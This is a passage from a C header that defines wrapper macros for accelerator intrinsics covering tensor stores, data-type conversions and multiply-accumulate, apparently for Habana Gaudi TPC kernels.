i8_st_tnsr_high_reg_pack_i_s_v i8_st_tnsr_high_pack_i_v\n#define u8_st_tnsr_high_reg_pack_i_s_v u8_st_tnsr_high_pack_i_v\n\n#define f32_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_f32_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define bf16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_bf16_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i32_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i32_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u32_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u32_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i16_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u16_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i8_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i8_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u8_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u8_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n\n#define f32_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) f32_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define bf16_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) bf16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define f16_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) f16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i32_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) i32_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u32_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) u32_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i16_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) i16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u16_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) u16_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i8_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) i8_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u8_st_tnsr_high_rmw_i_v(n, t, v, dt, op, rmw, dl) u8_st_tnsr_high_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n\n#define f32_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_f32_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define bf16_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_bf16_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i32_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i32_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u32_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u32_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i16_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i16_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u16_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u16_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i8_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i8_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u8_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u8_st_tnsr_high_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n\n#define f32_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) f32_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define bf16_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) bf16_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i32_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i32_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u32_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u32_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i16_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i16_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u16_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u16_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i8_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i8_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u8_st_tnsr_high_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u8_st_tnsr_high_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n\n#define f32_st_tnsr_high_reg_rmw_i_s_v_b f32_st_tnsr_high_rmw_i_v_b\n#define bf16_st_tnsr_high_reg_rmw_i_s_v_b bf16_st_tnsr_high_rmw_i_v_b\n#define f16_st_tnsr_high_reg_rmw_i_s_v_b f16_st_tnsr_high_rmw_i_v_b\n#define i32_st_tnsr_high_reg_rmw_i_s_v_b i32_st_tnsr_high_rmw_i_v_b\n#define u32_st_tnsr_high_reg_rmw_i_s_v_b u32_st_tnsr_high_rmw_i_v_b\n#define i16_st_tnsr_high_reg_rmw_i_s_v_b i16_st_tnsr_high_rmw_i_v_b\n#define u16_st_tnsr_high_reg_rmw_i_s_v_b u16_st_tnsr_high_rmw_i_v_b\n#define i8_st_tnsr_high_reg_rmw_i_s_v_b i8_st_tnsr_high_rmw_i_v_b\n#define u8_st_tnsr_high_reg_rmw_i_s_v_b u8_st_tnsr_high_rmw_i_v_b\n\n#define f32_st_tnsr_high_reg_rmw_i_s_v f32_st_tnsr_high_rmw_i_v\n#define bf16_st_tnsr_high_reg_rmw_i_s_v bf16_st_tnsr_high_rmw_i_v\n#define f16_st_tnsr_high_reg_rmw_i_s_v f16_st_tnsr_high_rmw_i_v\n#define i32_st_tnsr_high_reg_rmw_i_s_v i32_st_tnsr_high_rmw_i_v\n#define u32_st_tnsr_high_reg_rmw_i_s_v u32_st_tnsr_high_rmw_i_v\n#define i16_st_tnsr_high_reg_rmw_i_s_v i16_st_tnsr_high_rmw_i_v\n#define u16_st_tnsr_high_reg_rmw_i_s_v u16_st_tnsr_high_rmw_i_v\n#define i8_st_tnsr_high_reg_rmw_i_s_v i8_st_tnsr_high_rmw_i_v\n#define u8_st_tnsr_high_reg_rmw_i_s_v u8_st_tnsr_high_rmw_i_v\n\n#define f32_st_tnsr_high_reg_rmw_pack_i_s_v_b f32_st_tnsr_high_rmw_pack_i_v_b\n#define bf16_st_tnsr_high_reg_rmw_pack_i_s_v_b bf16_st_tnsr_high_rmw_pack_i_v_b\n#define f16_st_tnsr_high_reg_rmw_pack_i_s_v_b f16_st_tnsr_high_rmw_pack_i_v_b\n#define i32_st_tnsr_high_reg_rmw_pack_i_s_v_b i32_st_tnsr_high_rmw_pack_i_v_b\n#define u32_st_tnsr_high_reg_rmw_pack_i_s_v_b u32_st_tnsr_high_rmw_pack_i_v_b\n#define i16_st_tnsr_high_reg_rmw_pack_i_s_v_b i16_st_tnsr_high_rmw_pack_i_v_b\n#define u16_st_tnsr_high_reg_rmw_pack_i_s_v_b u16_st_tnsr_high_rmw_pack_i_v_b\n#define i8_st_tnsr_high_reg_rmw_pack_i_s_v_b i8_st_tnsr_high_rmw_pack_i_v_b\n#define u8_st_tnsr_high_reg_rmw_pack_i_s_v_b u8_st_tnsr_high_rmw_pack_i_v_b\n\n#define f32_st_tnsr_high_reg_rmw_pack_i_s_v f32_st_tnsr_high_rmw_pack_i_v\n#define bf16_st_tnsr_high_reg_rmw_pack_i_s_v bf16_st_tnsr_high_rmw_pack_i_v\n#define f16_st_tnsr_high_reg_rmw_pack_i_s_v f16_st_tnsr_high_rmw_pack_i_v\n#define i32_st_tnsr_high_reg_rmw_pack_i_s_v i32_st_tnsr_high_rmw_pack_i_v\n#define u32_st_tnsr_high_reg_rmw_pack_i_s_v u32_st_tnsr_high_rmw_pack_i_v\n#define i16_st_tnsr_high_reg_rmw_pack_i_s_v i16_st_tnsr_high_rmw_pack_i_v\n#define u16_st_tnsr_high_reg_rmw_pack_i_s_v u16_st_tnsr_high_rmw_pack_i_v\n#define i8_st_tnsr_high_reg_rmw_pack_i_s_v i8_st_tnsr_high_rmw_pack_i_v\n#define u8_st_tnsr_high_reg_rmw_pack_i_s_v u8_st_tnsr_high_rmw_pack_i_v\n\n\n// CONVERT\n// for FP32 to BF16/FP16, when using tpc-c, there is a switch of ALL_LANES,\n// which translates the instruction into 2 assembly instructions\n// SINGLE_LANE with LANE_SEL=0 and SINGLE_LANE with LANE_SEL=\n#if defined(__gaudi__)\n#define v_convert_f32_to_bf16_all_vb(src, switches, income, predicate, \\\n polarity) \\\n v_bf16_mov_vb(v_convert_f32_to_bf16_all_b(src, switches,income,1,0),0, \\\n income,predicate, polarity \\\n )\n#endif\n\n\n\n#define s_convert_i8_to_f32_s_b(src, income, pred, pol) s_convert_i8_to_f32(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_bf16_s_b(src, income, pred, pol) s_convert_i8_to_bf16(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_i32_s_b(src, income, pred, pol) s_convert_i8_to_i32(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_u32_s_b(src, income, pred, pol) s_convert_i8_to_u32(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_i16_s_b(src, income, pred, pol) s_convert_i8_to_i16(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_u16_s_b(src, income, pred, pol) s_convert_i8_to_u16(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_u8_s_b(src, income, pred, pol) s_convert_i8_to_u8(src, SW_CSR, income, pred, pol)\n#define s_convert_i8_to_f32_s(src) s_convert_i8_to_f32_s_b(src, 0, 1, 0)\n#define s_convert_i8_to_bf16_s(src) s_convert_i8_to_bf16_s_b(src, 0, 1, 0)\n#define s_convert_i8_to_i32_s(src) s_convert_i8_to_i32_s_b(src, 0, 1, 0)\n#define s_convert_i8_to_u32_s(src) s_convert_i8_to_u32_s_b(src, 0, 1, 0)\n#define s_convert_i8_to_i16_s(src) s_convert_i8_to_i16_s_b(src, 0, 1, 0)\n#define s_convert_i8_to_u16_s(src) s_convert_i8_to_u16_s_b(src, 0, 1, 0)\n#define s_convert_i8_to_u8_s(src) s_convert_i8_to_u8_s_b(src, 0, 1, 0)\n\n#define s_convert_u8_to_f32_s_b(src, income, pred, pol) s_convert_u8_to_f32(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_bf16_s_b(src, income, pred, pol) s_convert_u8_to_bf16(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_i32_s_b(src, income, pred, pol) s_convert_u8_to_i32(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_u32_s_b(src, income, pred, pol) s_convert_u8_to_u32(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_i16_s_b(src, income, pred, pol) s_convert_u8_to_i16(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_u16_s_b(src, income, pred, pol) s_convert_u8_to_u16(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_i8_s_b(src, income, pred, pol) s_convert_u8_to_i8(src, SW_CSR, income, pred, pol)\n#define s_convert_u8_to_f32_s(src) s_convert_u8_to_f32_s_b(src, 0, 1, 0)\n#define s_convert_u8_to_bf16_s(src) s_convert_u8_to_bf16_s_b(src, 0, 1, 0)\n#define s_convert_u8_to_i32_s(src) s_convert_u8_to_i32_s_b(src, 0, 1, 0)\n#define s_convert_u8_to_u32_s(src) s_convert_u8_to_u32_s_b(src, 0, 1, 0)\n#define s_convert_u8_to_i16_s(src) s_convert_u8_to_i16_s_b(src, 0, 1, 0)\n#define s_convert_u8_to_u16_s(src) s_convert_u8_to_u16_s_b(src, 0, 1, 0)\n#define s_convert_u8_to_i8_s(src) s_convert_u8_to_i8_s_b(src, 0, 1, 0)\n\n#define s_convert_i16_to_f32_s_b(src, income, pred, pol) s_convert_i16_to_f32(src, SW_CSR, income, pred, pol)\n#define s_convert_i16_to_bf16_s_b(src, income, rm, pred, pol) s_convert_i16_to_bf16(src, (rm) << 16, income, pred, pol)\n#define s_convert_i16_to_i32_s_b(src, income, pred, pol) s_convert_i16_to_i32(src, SW_CSR, income, pred, pol)\n#define s_convert_i16_to_u32_s_b(src, income, pred, pol) s_convert_i16_to_u32(src, SW_CSR, income, pred, pol)\n#define s_convert_i16_to_u16_s_b(src, income, pred, pol) s_convert_i16_to_u16(src, SW_CSR, income, pred, pol)\n#define s_convert_i16_to_i8_s_b(src, income, pred, pol) s_convert_i16_to_i8(src, SW_CSR, income, pred, pol)\n#define s_convert_i16_to_u8_s_b(src, income, pred, pol) s_convert_i16_to_u8(src, SW_CSR, income, pred, pol)\n#define s_convert_i16_to_f32_s(src) s_convert_i16_to_f32_s_b(src, 0, 1, 0)\n#define s_convert_i16_to_bf16_s(src, rm) s_convert_i16_to_bf16_s_b(src, 0, rm, 1, 0)\n#define s_convert_i16_to_i32_s(src) s_convert_i16_to_i32_s_b(src, 0, 1, 0)\n#define s_convert_i16_to_u32_s(src) s_convert_i16_to_u32_s_b(src, 0, 1, 0)\n#define s_convert_i16_to_u16_s(src) s_convert_i16_to_u16_s_b(src, 0, 1, 0)\n#define s_convert_i16_to_u8_s(src) s_convert_i16_to_u8_s_b(src, 0, 1, 0)\n#define s_convert_i16_to_i8_s(src) s_convert_i16_to_i8_s_b(src, 0, 1, 0)\n\n#define s_convert_u16_to_bf16_s_b(src, income, rm, pred, pol) s_convert_u16_to_bf16(src, (rm) << 16, income, pred, pol)\n#define s_convert_u16_to_bf16_s(src, rm) s_convert_u16_to_bf16_s_b(src, 0, rm, 1, 0)\n\n#define s_convert_i32_to_f32_s_b(src, income, rm, pred, pol) s_convert_i32_to_f32(src, (rm) << 16, income, pred, pol)\n#define s_convert_i32_to_bf16_s_b(src, income, rm, pred, pol) s_convert_i32_to_bf16(src, (rm) << 16, income, pred, pol)\n#define s_convert_i32_to_u32_s_b(src, income, rm, pred, pol) s_convert_i32_to_u32(src, (rm) << 16, income, pred, pol)\n#define s_convert_i32_to_f32_s(src, rm) s_convert_i32_to_f32_s_b(src, 0, rm, 1, 0)\n#define s_convert_i32_to_u32_s(src, rm) s_convert_i32_to_u32_s_b(src, 0, rm, 1, 0)\n#define s_convert_i32_to_bf16_s(src, rm) s_convert_i32_to_bf16_s_b(src, 0, rm, 1, 0)\n\n#define s_convert_bf16_to_f32_s_b(src, income, pred, pol) s_convert_bf16_to_f32(src, SW_CSR, income, pred, pol)\n#define s_convert_bf16_to_i16_s_b(src, income, rm, pred, pol) s_convert_bf16_to_i16(src, (rm) << 16, income, pred, pol)\n#define s_convert_bf16_to_i8_s_b(src, income, rm, pred, pol) s_convert_bf16_to_i8(src, (rm) << 16, income, pred, pol)\n#define s_convert_bf16_to_f32_s(src) s_convert_bf16_to_f32_s_b(src, 0, 1, 0)\n#define s_convert_bf16_to_i16_s(src, rm) s_convert_bf16_to_i16_s_b(src, 0, rm, 1, 0)\n#define s_convert_bf16_to_i8_s(src, rm) s_convert_bf16_to_i8_s_b(src, 0, rm, 1, 0)\n\n\n#define s_convert_f32_to_bf16_s_b(src, income, rm, pred, pol) s_convert_f32_to_bf16(src, (rm) << 16, income, pred, pol)\n#define s_convert_f32_to_i32_s_b(src, income, rm, pred, pol) s_convert_f32_to_i32(src, (rm) << 16, income, pred, pol)\n#define s_convert_f32_to_i16_s_b(src, income, rm, pred, pol) s_convert_f32_to_i16(src, (rm) << 16, income, pred, pol)\n#define s_convert_f32_to_i8_s_b(src, income, rm, pred, pol) s_convert_f32_to_i8(src, (rm) << 16, income, pred, pol)\n#define s_convert_f32_to_bf16_s(src, rm) s_convert_f32_to_bf16_s_b(src, 0, rm, 1, 0)\n#define s_convert_f32_to_i32_s(src, rm) s_convert_f32_to_i32_s_b(src, 0, rm, 1, 0)\n#define s_convert_f32_to_i16_s(src, rm) s_convert_f32_to_i16_s_b(src, 0, rm, 1, 0)\n#define s_convert_f32_to_i8_s(src, rm) s_convert_f32_to_i8_s_b(src, 0, rm, 1, 0)\n\n#define v_convert_i8_to_f32_v_vb(a, i, p, o) v_convert_i8_to_f32_vb(a, 0, i, to_bool64(p), o)\n#define v_convert_i8_to_f32_v_b(a, i, p, o) v_convert_i8_to_f32_b(a, 0, i, p, o)\n#define v_convert_i8_to_f32_v(a) v_convert_i8_to_f32_v_b(a, 0, 1, 0)\n#define v_convert_i8_to_i32_v_vb(a, i, p, o) v_convert_i8_to_i32_vb(a, 0, i, to_bool64(p), o)\n#define v_convert_i8_to_i32_v_b(a, i, p, o) v_convert_i8_to_i32_b(a, 0, i, p, o)\n#define v_convert_i8_to_i32_v(a) v_convert_i8_to_i32_v_b(a, 0, 1, 0)\n#define v_convert_i8_to_u32_v_vb(a, i, p, o) v_convert_i8_to_u32_vb(a, 0, i, to_bool64(p), o)\n#define v_convert_i8_to_u32_v_b(a, i, p, o) v_convert_i8_to_u32_b(a, 0, i, p, o)\n#define v_convert_i8_to_u32_v(a) v_convert_i8_to_u32_v_b(a, 0, 1, 0)\n#define v_convert_i8_to_i16_v_vb(a, i, p, o) v_convert_i8_to_i16_vb(a, 0, i, to_bool128(p), o)\n#define v_convert_i8_to_i16_v_b(a, i, p, o) v_convert_i8_to_i16_b(a, 0, i, p, o)\n#define v_convert_i8_to_i16_v(a) v_convert_i8_to_i16_v_b(a, 0, 1, 0)\n#define v_convert_i8_to_u16_v_vb(a, i, p, o) v_convert_i8_to_u16_vb(a, 0, i, to_bool128(p), o)\n#define v_convert_i8_to_u16_v_b(a, i, p, o) v_convert_i8_to_u16_b(a, 0, i, p, o)\n#define v_convert_i8_to_u16_v(a) v_convert_i8_to_u16_v_b(a, 0, 1, 0)\n#define v_convert_i8_to_u8_v_vb(a, i, p, o) v_convert_i8_to_u8_vb(a, 0, i, p, o)\n#define v_convert_i8_to_u8_v_b(a, i, p, o) v_convert_i8_to_u8_b(a, 0, i, p, o)\n#define v_convert_i8_to_u8_v(a) v_convert_i8_to_u8_v_b(a, 0, 1, 0)\n\n#define v_convert_i16_to_f32_v_vb(a, i, p, o) v_convert_i16_to_f32_vb(a, 0, i, to_bool64(p), o)\n#define v_convert_i16_to_f32_v_b(a, i, p, o) v_convert_i16_to_f32_b(a, 0, i, p, o)\n#define v_convert_i16_to_f32_v(a) v_convert_i16_to_f32_v_b(a, 0, 1, 0)\n#define v_convert_i16_to_i32_v_vb(a, i, p, o) v_convert_i16_to_i32_vb(a, 0, i, to_bool64(p), o)\n#define v_convert_i16_to_i32_v_b(a, i, p, o) v_convert_i16_to_i32_b(a, 0, i, p, o)\n#define v_convert_i16_to_i32_v(a) v_convert_i16_to_i32_v_b(a, 0, 1, 0)\n#define v_convert_i16_to_u32_v_vb(a, i, p, o) v_convert_i16_to_u32_vb(a, 0, i, to_bool64(p), o)\n#define v_convert_i16_to_u32_v_b(a, i, p, o) v_convert_i16_to_u32_b(a, 0, i, p, o)\n#define v_convert_i16_to_u32_v(a) v_convert_i16_to_u32_v_b(a, 0, 1, 0)\n#define v_convert_i16_to_u16_v_vb(a, i, p, o) v_convert_i16_to_u16_vb(a, 0, i, to_bool128(p), o)\n#define v_convert_i16_to_u16_v_b(a, i, p, o) v_convert_i16_to_u16_b(a, 0, i, p, o)\n#define v_convert_i16_to_u16_v(a) v_convert_i16_to_u16_v_b(a, 0, 1, 0)\n\n#define v_convert_i32_to_f32_v_vb(a, i, rm, p, o) v_convert_i32_to_f32_vb(a, (rm <<16) , i, to_bool64(p), o)\n#define v_convert_i32_to_f32_v_b(a, i, rm, p, o) v_convert_i32_to_f32_b(a, (rm <<16), i, p, o)\n#define v_convert_i32_to_f32_v(a, rm) v_convert_i32_to_f32_v_b(a, 0, rm, 1, 0)\n#define v_convert_i32_to_u32_v_vb(a, i, rm, p, o) v_convert_i32_to_u32_vb(a, (rm <<16), i, to_bool64(p), o)\n#define v_convert_i32_to_u32_v_b(a, i, rm, p, o) v_convert_i32_to_u32_b(a, (rm <<16), i, p, o)\n#define v_convert_i32_to_u32_v(a, rm) v_convert_i32_to_u32_v_b(a, 0, rm, 1, 0)\n\n#define v_convert_f32_to_i32_v_vb(a, i, rm, p, o) v_convert_f32_to_i32_vb(a, (rm <<16), i, to_bool64(p), o)\n#define v_convert_f32_to_i32_v_b(a, i, rm, p, o) v_convert_f32_to_i32_b(a, (rm <<16), i, p, o)\n#define v_convert_f32_to_i32_v(a, rm) v_convert_f32_to_i32_v_b(a, 0, rm, 1, 0)\n#define v_convert_f32_to_i16_v_vb(a, i, rm, l, p, o) v_convert_f32_to_i16_vb(a, l, (rm <<16), i, to_bool128(p), o)\n#define v_convert_f32_to_i16_v_b(a, i, rm, l, p, o) v_convert_f32_to_i16_b(a, l, (rm <<16), i, p, o)\n#define v_convert_f32_to_i16_v(a, i, rm, l) v_convert_f32_to_i16_v_b(a, i, rm, l, 1, 0)\n#define v_convert_f32_to_i8_v_vb(a, i, rm, l, p, o) v_convert_f32_to_i8_vb(a, l, (rm <<16), i, p, o)\n#define v_convert_f32_to_i8_v_b(a, i, rm, l, p, o) v_convert_f32_to_i8_b(a, l, (rm <<16), i, p, o)\n#define v_convert_f32_to_i8_v(a, i, rm, l ) v_convert_f32_to_i8_v_b(a, i, rm, l, 1, 0)\n\n#define v_convert_f32_to_bf16_single_lane_v_vb(a, i, rm, p, o) v_convert_f32_to_bf16_single_vb(a, (rm <<16), i, to_bool128(p), o)\n#define v_convert_f32_to_bf16_single_lane_v_b(a, i, rm, p, o) v_convert_f32_to_bf16_single_b(a, (rm <<16), i, p, o)\n#define v_convert_f32_to_bf16_single_lane_v(a, rm) v_convert_f32_to_bf16_single_lane_v_b(a, 0, rm, 1, 0)\n\n#define v_convert_f32_to_half_single_lane_v_vb(a, i, rm, p, o) v_convert_f32_to_half_single_vb(a, (rm <<16), i, to_bool128(p), o)\n#define v_convert_f32_to_half_single_lane_v_b(a, i, rm, p, o) v_convert_f32_to_half_single_b(a, (rm <<16), i, p, o)\n#define v_convert_f32_to_half_single_lane_v(a, rm) v_convert_f32_to_half_single_lane_v_b(a, 0, rm, 1, 0)\n\n\n\n\n#define v_convert_f32_to_bf16_av_vb(a, i, rm, p, o) v_convert_f32_to_bf16_all_vb(a, (rm <<16), i, to_bool128(p), o)\n#define v_convert_f32_to_bf16_av_b(a, i, rm, p, o) v_convert_f32_to_bf16_all_b(a, (rm <<16), i, p, o)\n#define v_convert_f32_to_bf16_av(a, rm) v_convert_f32_to_bf16_av_b(a, 0, rm, 1, 0)\n#define av_convert_bf16_to_f32_v_vb(a, i, p, o) v_convert_bf16_to_f32_all_vb(a, 0, i, to_bool128(p), o)\n#define av_convert_bf16_to_f32_v_b(a, i, p, o) v_convert_bf16_to_f32_all_b(a, 0, i, p, o)\n#define av_convert_bf16_to_f32_v(a) av_convert_bf16_to_f32_v_b(a, (float128){0}, 1, 0)\n#define v_convert_bf16_to_i16_v_vb(a, i, rm, p, o) v_convert_bf16_to_i16_vb(a, (rm <<16), i, to_bool128(p), o)\n#define v_convert_bf16_to_i16_v_b(a, i, rm, p, o) v_convert_bf16_to_i16_b(a, (rm <<16), i, p, o)\n#define v_convert_bf16_to_i16_v(a, rm) v_convert_bf16_to_i16_v_b(a, 0, rm, 1, 0)\n#define v_convert_i32_to_bf16_v_vb(a, i, rm, l, p, o) v_convert_i32_to_bf16_vb(a, l, (rm <<16), i, to_bool64(p), o)\n#define v_convert_i32_to_bf16_v_b(a, i, rm, l, p, o) v_convert_i32_to_bf16_b(a, l, (rm <<16), i, p, o)\n#define v_convert_i32_to_bf16_v(a, i, rm, l) v_convert_i32_to_bf16_v_b(a, i, rm, l, 1, 0)\n#define v_convert_i16_to_bf16_v_vb(a, i, rm, p, o) v_convert_i16_to_bf16_vb(a, (rm <<16), i, to_bool128(p), o)\n#define v_convert_i16_to_bf16_v_b(a, i, rm, p, o) v_convert_i16_to_bf16_b(a, (rm <<16), i, p, o)\n#define v_convert_i16_to_bf16_v(a, rm) v_convert_i16_to_bf16_v_b(a, 0, rm, 1, 0)\n#define v_convert_u16_to_bf16_v_vb(a, i, rm, p, o) v_convert_u16_to_bf16_vb(a, (rm <<16), i, to_bool128(p), o)\n#define v_convert_u16_to_bf16_v_b(a, i, rm, p, o) v_convert_u16_to_bf16_b(a, (rm <<16), i, p, o)\n#define v_convert_u16_to_bf16_v(a, rm) v_convert_u16_to_bf16_v_b(a, 0, rm, 1, 0)\n\n\n#define v_convert_i16_to_u8_v_vb(a, i, l, p, o) v_convert_i16_to_u8_vb(a, l, 0, i, to_bool128(p), o)\n#define v_convert_i16_to_u8_v_b(a, i, l, p, o) v_convert_i16_to_u8_b(a, l, 0, i, p, o)\n#define v_convert_i16_to_u8_v(a, i, l) v_convert_i16_to_u8_v_b(a, i, l, 1, 0)\n\n\n// MAC\n\n#define s_f32_mac_s_s_b(x0, x1, acc, sw, pred, pol) s_f32_mac(x0, x1, acc, (sw) << 1, pred, pol)\n#define s_bf16_mac_s_s_b(x0, x1, acc, sw, pred, pol) s_bf16_mac(x0, x1, acc, (sw) << 1, pred, pol)\n#define s_i16_mac_s_s_b(x0, x1, acc, sw, pred, pol) s_i16_mac(x0, x1, acc, sw, pred, pol)\n#define s_u16_mac_s_s_b(x0, x1, acc, sw, pred, pol) s_u16_mac(x0, x1, acc, sw, pred, pol)\n#define s_i8_mac_s_s_b(x0, x1, acc, sw, pred, pol) s_i8_mac(x0, x1, acc, sw, pred, pol)\n#define s_u8_mac_s_s_b(x0, x1, acc, sw, pred, pol) s_u8_mac(x0, x1, acc, sw, pred, pol)\n\n#define s_f32_mac_s_s(x0, x1, acc, sw) s_f32_mac_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_i8_mac_s_s(x0, x1, acc, sw) s_i8_mac_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_u8_mac_s_s(x0, x1, acc, sw) s_u8_mac_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_i16_mac_s_s(x0, x1, acc, sw) s_i16_mac_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_u16_mac_s_s(x0, x1, acc, sw) s_u16_mac_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_bf16_mac_s_s(x0, x1, acc, sw) s_bf16_mac_s_s_b(x0, x1, acc, sw, 1, 0)\n\n#define s_bf16_mac_acc_s_s_b(x0, x1, acc, sw, pred, pol) s_bf16_mac_acc32(x0, x1, acc, (sw) << 1, pred, pol)\n#define s_i8_mac_acc_s_s_b(x0, x1, acc, sw, p, pol) s_i8_mac_acc16(x0, x1, acc, sw, p, pol)\n#define s_u8_mac_acc_s_s_b(x0, x1, acc, sw, p, pol) s_u8_mac_acc16(x0, x1, acc, sw, p, pol)\n\n#define s_bf16_mac_acc_s_s(x0, x1, acc, sw) s_bf16_mac_acc_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_i8_mac_acc_s_s(x0, x1, acc, sw) s_i8_mac_acc_s_s_b(x0, x1, acc, sw, 1, 0)\n#define s_u8_mac_acc_s_s(x0, x1, acc, sw) s_u8_mac_acc_s_s_b(x0, x1, acc, sw, 1, 0)\n\n#define v_f32_mac_v_v_vb(a, b, acc, neg, p, pol) v_f32_mac_vb(a, b, acc, (neg) << 1, to_bool64(p), pol)\n#define v_bf16_mac_v_v_vb(a, b, acc, neg, p, pol) v_bf16_mac_vb(a, b, acc, (neg) << 1, to_bool128(p), pol)\n#define av_i16_mac_v_v_vb(a, b, acc, sat, p, pol) v_i16_mac_vb(a, b, acc, sat, to_bool128(p), pol)\n#define av_u16_mac_v_v_vb(a, b, acc, sat, p, pol) v_u16_mac_vb(a, b, acc, sat, to_bool128(p), pol)\n#define av_i8_mac_v_v_vb(a, b, acc, sat, p, pol) v_i8_mac_vb(a, b, acc, sat, p, pol)\n#define 